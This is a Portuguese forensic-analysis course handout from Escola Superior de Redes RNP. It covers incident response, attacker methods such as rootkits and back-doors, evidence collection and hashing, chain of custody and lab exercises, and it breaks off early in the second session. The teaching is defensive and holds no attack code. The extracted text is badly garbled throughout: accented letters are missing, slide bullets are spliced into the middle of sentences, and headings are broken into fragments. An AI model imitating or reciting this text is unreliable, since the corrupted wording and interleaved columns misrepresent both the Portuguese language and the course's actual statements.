Anda di halaman 1dari 187

Segurana

Anlise forense
Anlise forense
Escola Superior de Redes RNP

Copyright 2009, Escola Superior de Redes RNP

Autor
Guilherme Venere

Revisor
Pierre Lavelle

Superviso tcnica
Jacomo Piccolini

Coordenao acadmica
Derlina Miranda

Reviso final
Pedro Sangirardi

Design
Tecnodesign

Coordenao geral
Luiz Coelho

Verso
2.0.2

Todos os direitos reservados, no Brasil, por


Escola Superior de Redes RNP
http://www.esr.rnp.br
Anlise forense
Apresentao
A Escola Superior de Redes da Rede Nacional de Ensino e Pesquisa (RNP) oferece
cursos em tecnologia da informao e da comunicao para quem busca formao
essencialmente prtica. As atividades so situaes-problema semelhantes s que
so encontradas na prtica do profissional de TI. Estas atividades exigem anlise,
sntese e construo de hipteses para a superao do problema. A aprendizagem
torna-se mais efetiva se contextualizada realidade profissional.

Os cursos propostos possuem 40 (quarenta) horas de durao divididas em 10


(dez) sesses de aprendizagem. Os participantes trabalham em grupo ou em
duplas e cada um pode dispor de sua prpria estao de trabalho. O material de
ensino composto de apostilas contendo slides comentados e roteiro de
atividades prticas em laboratrio.

Conhecimentos prvios

\\Principais ataques, mecanismos e ferramentas de segurana (como firewall,


IDS, VPN) e autenticao ou o curso Segurana de redes e sistemas.

Objetivos

\\Obter uma viso geral e conceitos de anlise forense

\\Apresentar os principais procedimentos que devem ser seguidos pelo


investigador

\\Compreender as particularidades do processo de anlise forense em Linux e


Windows e as informaes que devem ser coletadas em cada situao enfrentada

\\Aprender a coletar evidncias em uma imagem de disco de um sistema


comprometido

\\Recuperar evidncias que possam fornecer pistas dos invasores


Escola Superior de Redes RNP

Ao final do curso o aluno ter aprendido a

\\Criar um CD de ferramentas forenses que poder ser utilizado durante uma


investigao

\\Elaborar uma cronologia, descrevendo o que aconteceu e quando ocorreu cada


evento do comprometimento investigado

\\Conhecer a coleta de informaes relacionadas aos programas executados, s


bibliotecas do sistema e portas relacionadas

\\Identificar o tipo de auditoria a ser realizada


Sumrio
Sesso de aprendizagem 1
Princpios de anlise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

Sesso de aprendizagem 2
Ambiente e ferramentas de anlise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

Sesso de aprendizagem 3
Ambiente e ferramentas de anlise forense (parte 2). . . . . . . . . . . . . . . . . . . . . 43

Sesso de aprendizagem 4
Coleta de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71

Sesso de aprendizagem 5
Recuperao e anlise de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85

Sesso de aprendizagem 6
Recuperao e anlise de evidncias (parte 2). . . . . . . . . . . . . . . . . . . . . . . . . 99

Sesso de aprendizagem 7
Linha de tempo e reconstruo do ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . 115

Sesso de aprendizagem 8
Anlise forense em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123

Sesso de aprendizagem 9
Anlise forense avanada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135

Sesso de aprendizagem 10
Anlise forense avanada em Windows (parte 2). . . . . . . . . . . . . . . . . . . . . . . 155

Bibliografia. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181
Escola Superior de Redes RNP
1
Sesso de aprendizagem 1
Princpios de anlise forense

Sumrio da sesso

Princpios de anlise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

Motivaes para investigar um incidente . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

Modo de ao dos atacantes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

Deteco de ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

Tipos de sistemas comprometidos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

Procedimentos para anlise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

Cadeia de custdia de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

Metodologia para anlise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

Atividade 1 Preparando um checklist. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

Atividade 2 Funcionamento de um rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

Atividade 3 Investigando um computador. . . . . . . . . . . . . . . . . . . . . . . . . . . . 18


8
Escola Superior de Redes RNP

Princpios
p de anlise forense
Princpios de anlise forense

A resposta a um incidente de segurana est dividida


Resposta
R t a incidentes
i id t ded segurana
Preparao em seis passos:
Identificao \\Preparao A empresa define os ativos que
Conteno
deseja proteger, e as medidas cabveis em caso
Erradicao
de incidente.
R
Recuperao
Acompanhamento \\Identificao So utilizados mecanismos e
tcnicas para identificar a ocorrncia de um
incidente, e definir a extenso do ataque.

\\Conteno Deve-se conter o ataque, impedindo


que o invasor consiga acesso a outros sistemas
e minimizando a atividade do atacante.

\\Erradicao As aes do atacante devem ser erradicadas, com a aplicao


de filtros e impedimento de qualquer atividade do invasor na rede.

\\Recuperao Os sistemas invadidos devem ser recuperados e reinstalados.

\\Acompanhamento As tcnicas e vulnerabilidades utilizadas pelo atacante devem


ser estudadas, e medidas devem ser aplicadas para impedir que elas funcionem.

Incidentes de segurana podem ser causados por


Princpios
p de anlise forense
qualquer tipo de ataque realizado infra-estrutura
de informao de uma empresa, seja ele um ataque
A empresa ddeve ddefinir
fi i o que um iincidente
id t dde
segurana de acordo com os ativos que deseja lgico ou um ataque fsico. Os tipos mais comuns
proteger.
t so ataques lgicos como invases de servidores e
Incidentes de segurana so eventos que interrompem ataques de negao de servios, comprometimento
o procedimento normal de operao de uma empresa
e causam algum tipo de crise. ou perda de dados e infeco por vrus.
Podem ser ataques infra-estrutura de informao de
uma empresa.
p necessrio criar procedimentos que descrevam
A preveno dos incidentes crucial. aes a tomar no caso da ocorrncia de um incidente
de segurana, inclusive no caso de incidentes inespera-
dos. Deve-se gerar documentos que descrevam os pro-
cedimentos de resposta a incidentes, os responsveis
pelas aes, a ao legal que a empresa est disposta
a executar e principalmente um checklist de ao para
Princpios
p de anlise forense
o profissional que vai responder ao incidente.
Anlise forense o segundo passo no processo de
resposta a incidentes. O analista forense deve se preocupar em tentar recu-
Existe uma sobreposio com o primeiro e com o perar as evidncias da forma mais confivel possvel,
terceiro passo: o analista forense deve participar do evitando contaminar ou destruir evidncias.
processo de preparao pr-incidente,
e tambm
do
processo de conteno ps-incidente.
Recuperar e analisar dados da maneira mais imparcial Registrando e documentando tudo o que foi feito,
e livre de distores possvel, para reconstruir os o analista no precisar confiar na memria mais
dados ou o que aconteceu a um sistema no passado.
tarde, no momento de reconstruir os passos que
foram executados durante a coleta de dados ou
apresentar resultados aos superiores.

Anlise forense Sesso de aprendizagem 1


9

Por este mesmo motivo bom sempre realizar anlises dos dados em cpias,
mantendo os originais seguros contra modificaes e permitindo que seus passos
sejam repetidos posteriormente.

Durante o processo de anlise forense, comum


Princpios
p de anlise forense
aparecerem informaes indicando comprometi-
mento de outros sistemas da empresa ou mesmo
Minimizar
Mi i i perda d de
d dados
d d
Evitar contaminao dos dados de outras empresas. importante que o analista
Registrar e documentar todas as aes forense reporte frequentemente o andamento das
Analisar, impreterivelmente, dados em cpias investigaes e os fatos relevantes descobertos,
Reportar as informaes coletadas para que a empresa possa tomar as medidas
Pi i l t manter-se
Principalmente: t i i l
imparcial necessrias.

um erro capital teorizar antes de obter todas as evidncias.


Sherlock Holmes preciso que se mantenha total imparcialidade
durante a investigao. Antes de apontar o culpado,
tenha certeza de que ele no inocente.

Motivaes
ppara investigar
g um incidente
Motivaes para investigar um incidente

\\Identificar sinais de ataque Em muitas situaes,


Razes
R para no iinvestigar
ti um iincidente:
id t
Custo quando uma mquina est comprometida, ela
Demora comea a perder desempenho, pois est sendo
Falta de objetividade utilizada pelo hacker ou vrus para fins diferentes
Disponibilizao de recursos importantes daqueles aos quais se destina. Um dos passos
P
Processo d
que demanda d tempo
t e recursos, nem de uma anlise forense tentar identificar sinais
sempre til para a empresa.
de comprometimento. Isto pode ajudar a empresa
mais fcil reinstalar um computador do que realizar
uma investigao. a descobrir se outros servidores que apresentam
o mesmo comportamento esto comprometidos
ou no.

\\Determinar a extenso do comprometimento


Como foi dito, durante o processo de anlise
Motivaes
ppara investigar
g um incidente forense comum aparecerem informaes sobre
o comprometimento de outros sistemas dentro
Ento,
E t por que iinvestigar?
ti ? ou fora da empresa. Descobrir as mquinas que
Identificar sinais de ataque foram comprometidas importante para manter
Determinar a extenso do comprometimento
a integridade da informao a ser protegida.
Reconstruir a ordem dos eventos
Entender o modus operandi do atacante \\Reconstruir a ordem dos eventos Com
R d
Responder: isso possvel descobrir o que o invasor fez
O qu? durante o perodo em que teve acesso ao
Quando?
sistema da empresa. A correlao de eventos
Onde?
pode ajudar a empresa a determinar o que foi
Como?
comprometido, e principalmente quando ocorreu
o comprometimento. muito comum descobrir,
por exemplo, que a empresa j estava invadida
h meses, e que s por algum descuido do
invasor que tudo foi descoberto.

Princpios de anlise forense


10
Escola Superior de Redes RNP

\\Entender o modus operandi do atacante Este item faz da anlise forense


uma poderosa ferramenta de proteo contra ataques. Sabendo como
o atacante agiu da primeira vez, a empresa vai poder tomar aes bem
fundamentadas para se proteger contra novos ataques.

Modo de ao
dos atacantes
Modo de ao dos atacantes

claro que nem todos os hackers agem do mesmo


IInformao
f a sua maior
i arma.
Conhecendo o modo de operao dos invasores, voc modo, mas pode-se dizer que uma grande parte
pode melhorar suas defesas; facilita o trabalho de deles segue um padro de ao comum. Conhecer
investigao, porque voc j sabe o que procurar. esse padro j um bom comeo para analisar um
Tcnicas de engenharia social so difceis de sistema que provavelmente foi comprometido.
combater: somente um treinamento adequadoq pode
p
diminuir esse risco.
A maior parte dos ataques segue um mesmo padro. Normalmente, os ataques se iniciam algum tempo
antes da invaso propriamente dita: o invasor precisa
conhecer sua rede, saber como vai conseguir com-
prometer seu sistema. Portanto, as atividades de
reconhecimento podem ser o primeiro indcio de que
algo est para acontecer.

Um tipo de teste difcil de detectar um reconhecimento que utiliza tcnicas de


engenharia social. Um simples telefonema pode ser mais eficiente para entregar os
pontos fracos de sua rede do que uma ferramenta poderosa. Neste caso, a prote-
o fica mais difcil, e s um treinamento adequado poder proteger a empresa.

Depois de coletar informaes sobre o sistema que


Modo de ao
dos atacantes
vai invadir, o hacker parte para a invaso. Nesta
hora, j se torna mais difcil detectar as atividades
Identificao
Id tifi d do alvo
l
Coleta de informaes do invasor. Muitas vezes so utilizadas ferramentas
Identificao de vulnerabilidades que simulam uma conexo vlida, ou ento tcnicas
Comprometimento do sistema para esconder o ataque, como criptografia ou tneis
Controle do sistema de protocolos.
I t l d
Instalao de fferramentas
t
Remoo de rastros Mecanismos de deteco de intruso so muito
Manuteno do sistema comprometido
teis. Posteriormente, estes mesmos mecanismos
podero ser atualizados com as informaes coleta-
das aps um ataque. Analisando a tcnica utilizada
pelo invasor, a empresa poder criar mecanismos
mais eficientes para se defender.

Aps comprometer o sistema, o invasor normalmente tenta tomar o controle


do sistema. O invasor precisa ento tentar adquirir privilgios de administrador.
Ferramentas que monitorem a integridade do sistema podem auxiliar a detectar
uma invaso antes que ela se torne mais sria. Programas como Tripwire permi-
tem monitorar a integridade dos arquivos de uma mquina.

Anlise forense Sesso de aprendizagem 1


11

Aps conseguir o acesso privilegiado ao sistema, o invasor tenta apagar os rastros de


sua existncia, para impedir que ele seja detectado enquanto estiver realizando suas
aes maldosas. Neste momento, comum o invasor instalar um rootkit, um pacote
de ferramentas que modifica o sistema para esconder qualquer trao da existncia
do hacker na mquina. Ao instalar uma ferramenta como esta, o hacker praticamente
passa a controlar a mquina. Pode-se utilizar uma ferramenta de deteco de rootkits,
tal como o Chkrootkit, para tentar detectar a presena dessas ferramentas. Outra
alternativa monitorar a rede para descobrir se a mquina est comprometida.

Hoje em dia, sistemas comprometidos tm um alto valor de troca no submundo da inter-


net. Ferramentas de negao de servio podem ser instaladas em diversos sistemas
comprometidos, e o poder somado desses sistemas pode ser trocado no submundo
por informao ou mesmo por dinheiro. Como podemos ver, a invaso de sistemas no
s uma diverso para alguns invasores, podendo ser um negcio bem rentvel.

Uma caracterstica do comportamento de invasores a manuteno do sistema compro-


metido. muito comum ver mquinas comprometidas atualizadas pelo hacker, corrigindo
as falhas de segurana que permitiram a sua entrada. Para garantir que podero voltar no
futuro, os invasores costumam instalar back-doors, servios clandestinos que permitem ao
invasor se conectar mais tarde com as permisses privilegiadas que conseguiu.

Deteco
de ataques
q
Deteco de ataques

Padro
P d para d detectar
t t mais i ffacilmente
il t um ataque
t :
Monitoramento da rede
Deteco de assinaturas de ataques e modificaes
no sistema
Utilizao de ferramentas de auditoria
Principalmente conhecimento de seus sistemas e de
Principalmente,
sua rede

Tipos
p de sistemas comprometidos
p
Tipos de sistemas comprometidos

Neste caso, a coleta de evidncias fica mais fcil: as


Sistema
Si t d
desligado:
li d
Sem atividade no disco rgido informaes volteis presentes na memria do com-
Evidncias volteis perdidas putador ou na tela foram perdidas. O sistema agora
Sem atividade do invasor contm apenas os arquivos que foram gravados no
Sem necessidade de conteno do ataque disco rgido, evidncias que devero ser coletadas.
P i l t algumas
Possivelmente l id i fforam modificadas
evidncias difi d

Princpios de anlise forense


12
Escola Superior de Redes RNP

A ao do analista forense tem que ser muito cuida-


Tipos
p de sistemas comprometidos
p
dosa, para no despertar a ateno do invasor, no
comprometer evidncias, mas tambm para impedir
Sistema
Si t liligado:
d
Atividade no disco rgido que mais dano seja causado. Por outro lado, em um
Atividade de rede sistema ligado, o analista forense tem a possibilidade
Evidncias volteis de coletar informaes que no estariam disponveis
Possibilidade de atividade do invasor em um sistema desligado.
N
Necessidadeid d dde conter
t o ataque
t
Modificao das evidncias Por exemplo, possvel coletar informaes de
rede, permitindo identificar com mais segurana se
o sistema est comprometido ou no, e tambm
identificar outras mquinas na rede da empresa que
tambm possam estar comprometidas.

Tudo o que for feito poder alterar as evidncias,


Tipos
p de sistemas comprometidos
p
inclusive no fazer nada. Portanto, as aes do ana-
lista forense tm que ser bem pensadas, e muito
Sistema
Si t liligado:
d
Verificar se o sistema est comprometido importante que todas as aes sejam documentadas.
No comprometer as evidncias
Conter o ataque A primeira coisa a fazer tentar identificar, da forma
Coletar evidncias menos intrusiva possvel, se o sistema suspeito est
P
Power-off ff ou shutdown?
h td ? ou no comprometido. Algumas tcnicas, como
Power-off: no modifica evidncias, mas pode corromper os
dados realizar um scan por portas abertas no sistema, ou
Shutdown: garante integridade dos dados, mas pode procurar por arquivos suspeitos no espao de disco,
modificar evidncias
devem ser evitadas a todo custo. Estas aes podem
disparar alarmes que alertariam o invasor de que ele
foi descoberto, alm de comprometer evidncias.

Dependendo da criticidade do sistema, muitas vezes no ser possvel simplesmente


desligar a mquina da energia. Um servidor de banco de dados teria informaes
corrompidas se fosse desligado da tomada. Ou ento, ao tentar executar uma parada
do sistema, mecanismos de proteo instalados pelo invasor poderiam apagar todo o
disco, provocando o desaparecimento de evidncias e dados importantes.

Procedimentos ppara anlise forense


Procedimentos para anlise forense

A reao precisa ser rpida,


rpida por isso esteja preparado
A primeira fase de uma investigao forense a pre-
Tenha em mos um checklist de aes e todas as parao, como foi dito anteriormente: saber o que
ferramentas necessrias pode e o que no pode ser desligado, elaborar um
Esterilize as mdias antes de coletar evidncias
checklist de aes que devem ser tomadas, e princi-
C l t primeiro
Colete i i as evidncias
id i mais i volteis
lt i
Crie e utilize uma dirt list: uma lista de palavras, termos e palmente preparar as ferramentas necessrias.
nomes que podem d indicar
i di um comprometimento ti t
Esta lista deve ser utilizada em todo o processo de
in estigao e atualizada
investigao at ali ada constantemente
importante tambm esterilizar as mdias onde sero
Crie um registro para cada evidncia e faa um relatrio da gravadas as evidncias, para evitar a contaminao
sua investigao com dados previamente gravados nas mesmas.

Anlise forense Sesso de aprendizagem 1


13

Esterilizar as mdias significa eliminar quaisquer dados que possam existir nos discos
e dispositivos utilizados para gravar suas evidncias. Normalmente, basta executar
um procedimento de gravao de zeros (byte 00) em todos estes dispositivos,
sobrescrevendo qualquer dado que exista ali, antes de gravar qualquer evidncia.

Evidncias volteis so aquelas que se perdem mais facilmente, caso o sistema


seja desligado ou aes executadas pelo hacker ou pelo analista sobrescrevam
informaes. Exemplos: dados na memria RAM, processos em execuo, cone-
xes estabelecidas, entre outros.

Uma maneira de ajudar o analista forense a procurar evidncias utilizando uma


dirt list, ou lista maliciosa, que deve conter palavras, termos, nomes de ferramentas
e pessoas que tenham ligao com ataques, grupos de hackers, atividades crimi-
nosas, entre outros. Com isso, o analista poder realizar pesquisas nas evidncias
procurando pela presena dessas palavras-chave. Esta lista deve ser atualizada
constantemente para incluir palavras e nomes encontrados durante a investigao.

Toda informao coletada durante a avaliao inicial


Procedimentos ppara anlise forense
e durante a investigao deve ser documentada e
autenticada. Esta autenticao pode ser feita utili-
O d de
Ordem d coleta
l t de
d evidncias:
id i
Informaes sobre o ambiente (ambiente operacional, zando algum algoritmo de hash de dados, tal como
f t dda sala
fotos l e da
d tela
t l ddo computador)
t d ) MD5, SHA1, SHA256 ou outro algoritmo de hash
Cpia binria da memria RAM equivalente.
Informaes sobre processos em execuo, conexes de
rede, registros, cache etc.
Informaes sobre o trfego de rede Tenha sempre em mos um checklist que indique o que
Cpias
p dos discos rgidos
g fazer e quando. O checklist deve ser o mais minucioso
Possveis mdias removveis (fitas, disquetes, CD-ROM) possvel, no deixando dvidas sobre as aes a serem
Material impresso (adesivos
(adesivos, folhas impressas)
tomadas. Se possvel, ele deve incluir os comandos e
argumentos que precisam ser usados em cada etapa.

Na coleta de evidncias, devemos seguir a ordem de


Procedimentos ppara anlise forense volatilidade das informaes: informaes volteis
so aquelas que se perdem com mais facilidade.
Criar
C i registro
i t para cada
d evidncia
id i
Criar assinatura das evidncias:
H poucos anos, utilizava-se o algoritmo MD5 como
MD5
SHA1 padro, mas devido a pesquisas recentes sobre
SHA256 ataques contra a segurana desse algoritmo e do
Evitar comprometer evidncias prprio SHA1, a comunidade internacional comeou a
Criar relatrio detalhado da investigao: desenvolver novos algoritmos para substitu-los.
Comandos executados
Pessoas entrevistadas
E id i coletadas
Evidncias l t d Teoricamente, estes algoritmos tm um baixo ndice
de coliso, isto , dificilmente geram uma mesma
chave criptogrfica a partir de dados diferentes.
Entretanto, pesquisas detectaram uma possibilidade
de gerar colises com taxas de probabilidade bem menores do que deveriam
ocorrer naturalmente com estes algoritmos. Por isso, recomenda-se a utilizao
de algoritmos melhores e mais atuais.

Princpios de anlise forense


14
Escola Superior de Redes RNP

Cadeia de custdia de evidncias


Cadeia de custdia de evidncias

Este registro visa garantir que as evidncias no


Registro
R i t ddetalhado
t lh d ddo modod como as evidncias
id i
foram tratadas durante a anlise forense, desde a foram modificadas ou comprometidas, acidental-
coleta
l t at
t os resultados
lt d fifinais.
i mente ou propositalmente, durante o processo de
Este registro deve conter informaes sobre quem anlise forense. Isto importante principalmente se
teve acesso s evidncias ou s cpias utilizadas.
o caso vai ser tratado judicialmente. Em juzo, ser
Durante um p processo judicial,
j este registro
g vai
garantir que as provas no foram comprometidas. necessrio comprovar que as evidncias so vlidas
Cada evidncia coletada deve ter um registro de legalmente, e um registro mal feito pode colocar a
custdia associada a ela. perder um caso inteiro. Um cuidado especial deve
ser dado s evidncias digitais, pois elas so mais
facilmente modificadas ou destrudas.

Cadeia de custdia de evidncias

Um registro de custdia deve conter pelo menos os


seguintes itens:
Data e hora de coleta da evidncia
De quem a evidncia foi apreendida
Informaes sobre o hardware
hardware, como fabricante,
fabricante modelo,
modelo
nmeros de srie etc.
Nome da pessoa que coletou a evidncia
Descrio detalhada da evidncia
Nome e assinatura das pessoas envolvidas
Identificao do caso e da evidncia (tags)
Assinaturas MD5/SHA1 das evidncias
evidncias, se possvel
Informaes tcnicas pertinentes

Metodologia
g ppara anlise forense
Metodologia para anlise forense

Procedimentos do analista forense so invariveis


Independentemente do sistema invadido ou do
Utilidade de metodologia bem definida mtodo utilizado na invaso, os procedimentos segui-
Os passos de uma investigao so cclicos: dos pelo analista forense no variam. Uma metodolo-
Cada ppasso alimenta o conjunto
j de evidncias e gia bem definida facilita o trabalho do investigador e
fornece novas bases para o investigador procurar ajuda a mant-lo focado.
ppor mais evidncias na prxima
p fase.
Os passos devem ser repetidos at que:
Chegue se a uma concluso
Chegue-se
Os passos que devem ser seguidos em uma investi-
No existam mais informaes teis a encontrar gao so cclicos: cada passo alimenta o conjunto
de evidncias e fornece novas bases para o inves-
tigador procurar por mais evidncias na prxima
fase. Os passos devem ser repetidos at que se
consiga chegar a uma concluso, ou at decidir que no h mais informaes
teis a serem encontradas.

O primeiro passo da investigao das evidncias tentar estabelecer uma linha


de tempo para o ataque e para as evidncias encontradas durante a fase inicial de
anlise. Com a linha de tempo, o investigador pode ter uma base para procurar
por novas evidncias, arquivos e dados que possam ter relao com o caso.

Anlise forense Sesso de aprendizagem 1


15

O passo seguinte analisar esses arquivos e dados para identificar sua relao
com o caso, funcionalidades e informaes importantes que possam conter.

A seguir, o investigador deve realizar uma anlise no nvel de dados do sistema


operacional, procurando por strings e bytes que possam ser importantes para a
investigao. Deve-se voltar linha de tempo do incidente, pra inserir os novos
dados coletados e associar essas informaes com o caso. Com essas novas
informaes, o investigador ter uma nova base para procurar por mais evidn-
cias, e assim o processo se repete at que o caso seja solucionado ou se decida
que o esforo e o custo da investigao j no valem mais a pena.

Finalmente, quando j tiver sido realizada uma anlise o mais completa possvel,
deve-se gerar um relatrio com os resultados encontrados e tcnicas utilizadas,
e uma concluso para o caso alcanada, com base nas evidncias coletadas
durante a investigao.

Concluses
Concluses

O sucesso da investigao depende de uma preparao


A seguir prepararemos o ambiente de anlise forense
prvia e conheceremos as ferramentas necessrias para a
Informao a melhor arma contra os invasores investigao.
Tenha em mos:
Todas as informaes sobre o sistema comprometido
Todas as ferramentas necessrias
No comprometa as evidncias
A cadeia de custdia de evidncias garante uma
representao fiel dos dados originais
Adote uma metodologia e seja imparcial e preciso em suas
aes

Princpios de anlise forense


16
Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 1


1
Sesso de aprendizagem 1
Princpios de anlise forense
Roteiro de atividades

Tpicos e conceitos

\\Preparao para uma investigao e identificao de formas de ataque.

Competncias tcnicas desenvolvidas

\\Elaborao de um checklist, atualizao em relao s formas de ataque


rootkit;

\\Investigao do comprometimento de computadores.

Outras competncias desenvolvidas

\\Capacidade de investigao e pesquisa.

Tempo previsto para as atividades

\\90-120 minutos
18
Escola Superior de Redes RNP

Atividade 1 Preparando um checklist

1. Este exerccio deve ser feito em dupla. Suponha que em sua empresa
existe um servidor web considerado crtico, que hospeda todo o sistema
de gerenciamento de projetos da empresa e no pode ficar parado. Um
backup dirio dos dados realizado constantemente. Deve-se supor que
os integrantes da dupla fazem parte da comisso que est definindo os
procedimentos a adotar quando ocorrer um incidente de segurana
envolvendo a mquina do servidor. Pensando em todas as implicaes
destas aes, defina o que deve ser feito no caso de:

1. Ataque de negao de servio;

2. Comprometimento da mquina por ao hacker.

Discuta com seu parceiro os procedimentos e monte um checklist das aes que
devem ser tomadas. Procure ser o mais objetivo possvel, de modo que uma pes-
soa que siga o checklist no precise tomar nenhuma deciso. Pense que em um
momento de crise, a pessoa referida no pode perder tempo tomando decises.

Atividade 2 Funcionamento de um rootkit

Junto com um colega, pesquise na internet informaes sobre rootkits que


os invasores usam para tomar controle de um servidor, tanto em servidores
Unix quanto Windows. Procure informaes sobre um rootkit da sua escolha
para saber suas funcionalidades, e os modos para detectar a presena dele
em uma mquina. Elabore um documento sobre este rootkit, descrevendo o
modus operandi do mesmo, funcionalidades, dificuldade de deteco e, se
possvel, formas de detect-lo e remov-lo do sistema. O instrutor vai
escolher alguns alunos para apresentar este documento aos demais.

Atividade 3 Investigando um computador

(Para fazer em dupla) Voc deve verificar se a mquina de seu companheiro


est comprometida. Lembre-se dos passos necessrios para garantir a
integridade das evidncias. Usando as ferramentas do sistema, voc deve
descobrir todos os servios TCP ativos na mquina. Para este exerccio,
vamos considerar como comprometido o servio Bootp (porta 68) no Linux,
ou o servio Netbios (porta 445) no Windows. Se o servio estiver sendo
executado, a mquina est comprometida. Faa um relatrio de todas as
aes tomadas durante a investigao, bem como um registro de custdia
de qualquer evidncia coletada.

Como sugesto, utilize o roteiro criado na Atividade 1; ele facilita a investigao?


Quais foram os problemas encontrados ao seguir o roteiro? Sugira modificaes ao
roteiro.

Anlise forense Sesso de aprendizagem 1


2
Sesso de aprendizagem 2
Ambiente e ferramentas de anlise forense

Sumrio da sesso

Pr-requisitos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20

Hardware. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20

Sistema operacional. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

Live CD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

Hardware forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

Pacote forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24

Programas especficos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

Preparao da investigao. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29

Preparao do ambiente. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29

Coletando informaes dos processos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31

Preservao do disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

Outras formas de preservao do disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

Atividade 1 Kit do investigador. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

Atividade 2 Coleta de informaes volteis . . . . . . . . . . . . . . . . . . . . . . . . . . 42


20
Escola Superior de Redes RNP

Pr-requisitos
Pr-requisitos

Durante o atendimento inicial ao incidente, o inves-


A primeira ao do investigador coletar evidncias
no local onde ocorreu a invaso. tigador vai precisar da recuperao de arquivos em
Aps isso, entra em cena a anlise de mdias. memria, coleta de cpias fiis dos discos rgidos e
O investigador precisar analisar dezenas de dispositivos de armazenagem presentes na mquina
gigabytes de dados, e por isso deve contar com um investigada, cpia da memria RAM, coleta de infor-
ambiente propcio, com ferramentas que facilitem seu
trabalho. maes de conexes de rede, entre outros.

Em alguns incidentes, onde ocorre o envolvimento


de autoridades policiais, necessrio manter sob
guarda o disco original da mquina envolvida no inci-
dente. No Brasil, somente um perito autorizado pode
coletar, de forma legal, evidncias na cena de um
incidente. A empresa ou responsvel pela mquina
Pr-requisitos
deve garantir apenas armazenamento e custdia
O objetivo da anlise de mdias coletar evidncias que
seguros do equipamento.
comprovem ou refutem a invaso.
As evidncias originais devem ser preservadas, por isso a A utilizao de hashes MD5/SHA1 garante que as evi-
anlise deve ser feita em cpias das mdias.
dncias coletadas durante uma investigao possam
O analista deve evitar comprometer as evidncias, e
garantir que todos os resultados possam ser ser comparadas posteriormente, caso seja necessrio
reproduzidos, o que envolve a criao e manipulao de refazer os passos da anlise forense. Duas evidncias
dezenas de gigabytes de dados.
Alm disso, o sistema invadido no confivel, portanto o coletadas com a mesma tcnica e que tenham os
investigador precisa dispor de um ambiente confivel e mesmos hashes so garantidamente iguais.
controlado para realizar a investigao.

Em um sistema invadido, o hacker pode ter modifi-


cado arquivos, kernel, bibliotecas compartilhadas,
mdulos carregados. Portanto, nenhum arquivo existente na mquina confivel.
Se existir um rootkit e o investigador utilizar os comandos do sistema para listar
processos ou arquivos, no ver as informaes escondidas pelo rootkit. O inves-
tigador deve sempre utilizar suas prprias ferramentas e bibliotecas.

Hardware
Hardware

O sistema deve ter baias para conectar os discos


Quanto mais memria RAM e mais processamento
houver, melhor. de evidncias. De preferncia, as baias devem ser
O espao livre em disco deve ser generoso, algumas configuradas para jamais iniciarem o sistema a partir
vezes podendo analisar centenas de gigabytes. dos discos contidos nelas.
O sistema deve ter baias para conectar os discos de
evidncias.
Um notebook imprescindvel quando no for
Um notebook imprescindvel quando no for pos-
possvel remover o disco de evidncia. svel remover o disco de evidncia. Este notebook
Alm disso, o investigador deve dispor de deve conter as mesmas ferramentas da estao
equipamentos de rede diversos. forense. Alm disso, o investigador deve dispor de
equipamentos de rede diversos: hubs, cabos cross-
over e normais, placas de rede normais e wireless,
disco rgido externo (USB e paralelo), bem como um equipamento para realizar
cpias de disco automaticamente.

Anlise forense Sesso de aprendizagem 2


21

Sistema operacional
Sistema operacional

Deve-se levar em conta que s vezes vai ser neces-


Entre os pontos que devem ser levados em
considerao na hora de escolher o sistema srio investigar um sistema sem dispositivos padro,
operacional, podemos citar os seguintes: como os presentes em um computador comum. Por
Familiaridade do investigador com o sistema exemplo, como investigar incidentes envolvendo um
operacional
PDA, ou uma estao RISC/Solaris? Os dispositivos
Disponibilidade de ferramentas
Capacidade do sistema operacional de reconhecer
